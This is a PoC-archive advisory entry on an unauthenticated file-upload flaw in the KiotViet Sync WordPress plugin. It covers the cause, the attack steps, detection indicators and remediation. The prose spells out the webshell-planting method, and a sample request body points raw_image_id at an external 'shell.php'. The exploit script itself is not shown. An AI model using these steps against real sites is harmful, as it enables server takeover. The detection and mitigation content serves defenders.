KiotViet Sync Unauthenticated Arbitrary File Upload (CVE-2025-12674)
by Nxploited (Khaled Alenazi) · 2026-07-06
- Severity
- Critical
- CVE
- CVE-2025-12674
- Category
- web
- Affected product
- KiotViet Sync (WordPress plugin)
- Affected versions
- <= 1.8.5
- Disclosed
- 2026-07-06
- Patch status
- unpatched
Tags
References
Archive entry
intelseclab/poc-archiveMetadata
| Field | Value |
|---|---|
| Date Added | 2026-07-06 |
| Last Updated | 2026-07-06 |
| Author / Researcher | Nxploited (Khaled Alenazi) |
| CVE / Advisory | CVE-2025-12674 |
| Category | web |
| Severity | Critical |
| CVSS Score | 9.8 (per NVD) |
| Status | Weaponized |
| Tags | wordpress, kiotviet-sync, arbitrary-file-upload, unauthenticated, rce, rest-api, webshell, python |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | KiotViet Sync (WordPress plugin) |
| Versions Affected | <= 1.8.5 |
| Language / Platform | Python 3 (PoC scanner/exploiter), PHP (target plugin), targets WordPress installations |
| Authentication Required | No |
| Network Access Required | Yes |
Summary
KiotViet Sync is a WordPress plugin that synchronizes products between the KiotViet retail/POS platform and a WooCommerce store via a custom REST route. Its create_media() function, invoked when syncing a product’s image, accepts a remote raw_image_id URL and downloads it into wp-content/uploads/ without validating the file extension or content type of the fetched resource, permitting an unauthenticated attacker to plant an arbitrary file (including a PHP webshell) on the server. The included PoC (CVE-2025-12674.py) exploits the unauthenticated wp-json/admin/v1/query REST endpoint by submitting a crafted “create product” request whose image field points at an attacker-hosted PHP shell, causing the plugin to fetch and store it under the monthly uploads directory.
Vulnerability Details
Root Cause
The plugin exposes a custom REST endpoint, wp-json/admin/v1/query, that accepts a generic “table”/“action” payload without authentication or capability checks. When table is kiotviet_sync_products and action is create, the plugin’s create_media() function downloads whatever URL is supplied in raw_image_id and saves it into the WordPress media/uploads directory with no validation that the downloaded content is actually an image:
| |
Because there is no server-side check on the extension/MIME type of the file referenced by raw_image_id, an attacker-hosted .php file is downloaded and written directly into wp-content/uploads/<year>/<month>/, a path where the web server executes PHP, resulting in remote code execution once the file is requested.
Attack Vector
- Attacker hosts a PHP webshell (e.g.
shell.php) at a URL they control. - The PoC script sends
POST /wp-json/admin/v1/queryto the target WordPress site with a JSON body simulating a KiotViet product-creation sync, setting the product’sraw_image_idfield to the attacker’s shell URL. - The vulnerable
create_media()function on the target fetches the URL and stores it underwp-content/uploads/<current-year>/<current-month>/without validating that it is an image. - The plugin responds with a success message (
{"message":"OK"}/{"message":"Done!"}), which the script detects to confirm the upload succeeded. - Because the plugin does not return the generated filename in the response, the script records the (predictable) monthly uploads directory to
shells.txt; the attacker then brute-forces/enumerates the directory listing or filename pattern to locate and invoke the planted shell for command execution.
Impact
Unauthenticated remote code execution on any WordPress site with a vulnerable KiotViet Sync version, via arbitrary file planting into a publicly reachable, PHP-executing uploads directory.
Environment / Lab Setup
Target: WordPress with KiotViet Sync plugin <= 1.8.5 installed and activated
Attacker: Python 3.x with requests, rich
A publicly reachable HTTP host serving the PHP shell to be uploaded
Proof of Concept
PoC Script
See
CVE-2025-12674.pyin this folder.
| |
Detection & Indicators of Compromise
POST /wp-json/admin/v1/query HTTP/1.1
Content-Type: application/json
{"client_key":"dasdasd23423JFHDJKFHJD","action":"create","table":"kiotviet_sync_products", ... "raw_image_id":"http://<external-host>/shell.php"}
Signs of compromise:
- Unexpected
.phpfiles underwp-content/uploads/<year>/<month>/that were not uploaded via the normal Media Library UI. - POST requests to
wp-json/admin/v1/querywithtable=kiotviet_sync_productsoriginating from non-KiotViet infrastructure IPs. - Outbound requests from the WordPress server to unfamiliar hosts immediately followed by new files appearing in the uploads directory.
- Requests to newly created files under the uploads directory with command-execution-style query parameters shortly after the upload.
Remediation
| Action | Detail |
|---|---|
| Primary fix | Upgrade KiotViet Sync beyond 1.8.5 once a patched release enforces file-type/MIME validation in create_media() and adds authentication to the wp-json/admin/v1/query endpoint. |
| Interim mitigation | Deactivate the plugin until patched; block direct PHP execution in wp-content/uploads/ via web server configuration; add a WAF rule blocking unauthenticated table=kiotviet_sync_products requests to wp-json/admin/v1/query. |
References
Notes
Mirrored from https://github.com/Nxploited/CVE-2025-12674 on 2026-07-06. Templated Nxploited-style wrapper (banner, progress UI, author branding) around genuinely specific exploit logic matching the KiotViet Sync file-upload vulnerability (wp-json/admin/v1/query with raw_image_id pointing at an attacker shell).
| |